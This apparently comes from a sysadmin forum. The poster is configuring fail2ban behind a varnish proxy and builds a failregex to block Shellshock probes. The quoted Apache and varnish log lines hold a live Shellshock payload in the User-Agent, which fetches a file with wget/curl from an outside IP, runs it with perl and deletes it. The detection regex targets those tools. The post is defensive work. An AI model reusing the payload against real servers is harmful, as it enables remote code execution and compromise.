Currently have a server with 2 IPs, one internal and one external with varnish on the external and an apache backend on the internal with fail2ban running pretty much as default.
Recently the website went down returning 503 errors and it turned out fail2ban had banned the varnish from talking to the apache backend vi the apache-noscript rule. I have since added an exclusion for the ip address so this will not get banned again, but ideally I would prefer it if the client was banned in future.
From the apache logs
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
From the varnish logs
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
Would it be okay to just replicate my apache-noscript defnition to use the varnishlogs, i.e.:
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
to become
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
I have noticed the apache no script filter has has the following failregex
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
I guess the main question is will this still work for the varnishlog in the output above, if not what failregex would I need?
Many Thanks.
[EDIT] It turns out as a coincidence the noscript did the banning but not for the above log entries. Now to formulate a fail2ban regex for the above log entry.
Okay I've created a new jail with the following rule to catch the above:
failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
Please feel free to suggest improvements to the rule to catch the log line mentioned above.
The fail regex works on both the apache access log and the varnish csa log.